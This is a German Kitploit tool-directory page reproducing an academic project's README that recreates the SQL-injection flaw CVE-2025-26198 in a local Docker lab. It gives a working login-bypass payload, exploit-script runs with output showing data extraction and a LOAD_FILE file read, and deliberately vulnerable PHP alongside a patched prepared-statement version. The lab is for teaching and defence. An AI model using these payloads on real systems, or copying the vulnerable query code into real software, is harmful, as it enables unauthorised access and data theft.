Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/wailyacoubi9/cve-2025-26198
SchwachstellenanalyseWebanwendungs-ExploitationPenetrationstestsAuthentifizierungLernen & BildungDatenbanksicherheit
GitHubwailyacoubi9/cve-2025-26198

CVE-2025-26198

Repository anzeigen
vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-26198 - SQL Injection Demonstration

Akademisches Projekt ENSIMAG - Sicherheit 3A
Autoren: Wail Yacoubi, Mohammed-Yassine Akhmari
Datum: Januar 2026


Warnung

Dieser Code ist absichtlich zu Bildungszwecken verwundbar.
Niemals in der Produktion einsetzen.


Beschreibung

Reproduktion von CVE-2025-26198: Kritische SQL-Injection in CloudClassroom-PHP-Project v1.0.

Eigenschaften der CVE:

  • Identifikator: CVE-2025-26198
  • CVSS-Score: 9.8/10 (Kritisch)
  • Typ: SQL-Injection (CWE-89)
  • Verwundbare Komponente: loginlinkadmin.php
  • Auswirkung: Authentifizierungs-Bypass + vollständige Datenbankextraktion

Offizielle Referenz: https://nvd.nist.gov/vuln/detail/CVE-2025-26198


Ziel

Demonstration von 4 SQL-Injection-Exploitationstechniken:

  1. Boolean-basiert - Authentifizierungs-Bypass
  2. Union-basiert - Datenextraktion
  3. Zeitbasiert (Blind) - Erkennung durch Verzögerung
  4. Datei-Lesen - Lesen von Systemdateien

Installation

Voraussetzungen

  • Docker und Docker Compose
  • Python 3.x
  • requests installieren: pip install requests

Start

root@kitploit:~
# Cloner le repository
git clone <votre-repo>
cd CVE-2025-26198

# Lancer l'infrastructure
docker-compose up -d

# Attendre que MySQL soit prêt (30 secondes)
sleep 30

# Vérifier les containers
docker-compose ps

Die Anwendung ist unter http://localhost:8081 erreichbar


Ausnutzung

Methode 1: Manuell (Browser)

  1. Gehe zu http://localhost:8081

  2. Fülle das Formular aus:

    • Benutzername: admin' OR '1'='1'-- -
    • Passwort: anything
  3. Klicke auf Login

Ergebnis: Erfolgreiche Admin-Anmeldung ohne gültiges Passwort.

Erklärung:

Das Payload transformiert die SQL-Abfrage:

root@kitploit:~
-- Requête normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')

-- Requête avec injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')

Der Ausdruck OR '1'='1' ist immer wahr, und -- - kommentiert den Rest aus.


Methode 2: Python-Skripte

Einfaches Skript

root@kitploit:~
python exploit_simple.py http://localhost:8081

Erwartete Ausgabe:

root@kitploit:~
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200

Vollständiges Skript (4 Techniken)

root@kitploit:~
python exploit.py http://localhost:8081

Erwartete Ausgabe:

root@kitploit:~
============================================================
  CVE-2025-26198 - SQL Injection Exploitation
============================================================

Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials

Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
    - admin:[email protected]
    - superadmin:[email protected]

Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED

Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed

EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)

Gepatchte Version

Teste die sichere Version mit Prepared Statements:

root@kitploit:~
# Activer la version patchée
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3

# Retester l'exploit
python exploit_simple.py http://localhost:8081

Erwartetes Ergebnis:

root@kitploit:~
[-] Error: Connection aborted
[-] Exploitation failed

Der Angriff wird durch die Eingabevalidierung und die Prepared Statements blockiert.

Die verwundbare Version wiederherstellen:

root@kitploit:~
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web

Versionsvergleich

Verwundbarer Code:

root@kitploit:~
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);

Sicherer Code:

root@kitploit:~
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();

Projektstruktur

root@kitploit:~
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│   ├── index.html
│   ├── loginlinkadmin.php          # Version vulnérable
│   ├── loginlinkadmin_PATCHED.php  # Version sécurisée
│   └── sql/
│       ├── init.sql
│       └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/

Fehlerbehebung

Web-Container startet nicht

root@kitploit:~
docker-compose logs web
docker-compose down
docker-compose up -d --build

Exploit funktioniert nicht

root@kitploit:~
# Vérifier MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"

# Vérifier service web
curl http://localhost:8081

# Vérifier version active
head -n 2 app/loginlinkadmin.php

Port bereits belegt

docker-compose.yml ändern:

root@kitploit:~
ports:
  - "8082:80"

Dokumentation

Siehe RAPPORT.md für die detaillierte Analyse, einschließlich:

  • Mechanismus der Schwachstelle
  • Systemarchitektur
  • Sicherheitsempfehlungen
  • Entwicklungs-Best-Practices

Referenzen

  • Offizielle CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
  • Originalprojekt: https://github.com/mathurvishal/CloudClassroom-PHP-Project
  • OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • PHP PDO: https://www.php.net/manual/en/pdo.prepared-statements.php

Haftungsausschluss

Projekt ausschließlich zu Bildungszwecken im Rahmen des Cybersicherheitskurses ENSIMAG entwickelt.

Zulässige Nutzung:

  • Lernen und Ausbildung
  • Tests in autorisierten Umgebungen

Unzulässige Nutzung:

  • Angriffe auf reale Systeme
  • Böswillige Verwendung

Jede Nutzung außerhalb des akademischen Rahmens ist strengstens untersagt und illegal.


Autoren
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - Jahrgang 2026
Kurs: Sicherheit 3A

Tool herunterladen
AspektVerwundbare VersionGepatchte Version
SQL-AbfrageDirekte VerkettungPDO Prepared Statement
EingabevalidierungKeineAlphanumerische Regex
Ausgabe-EscapingNeinhtmlspecialchars()
SQL-InjectionAusnutzbarBlockiert
LogsKeineerror_log()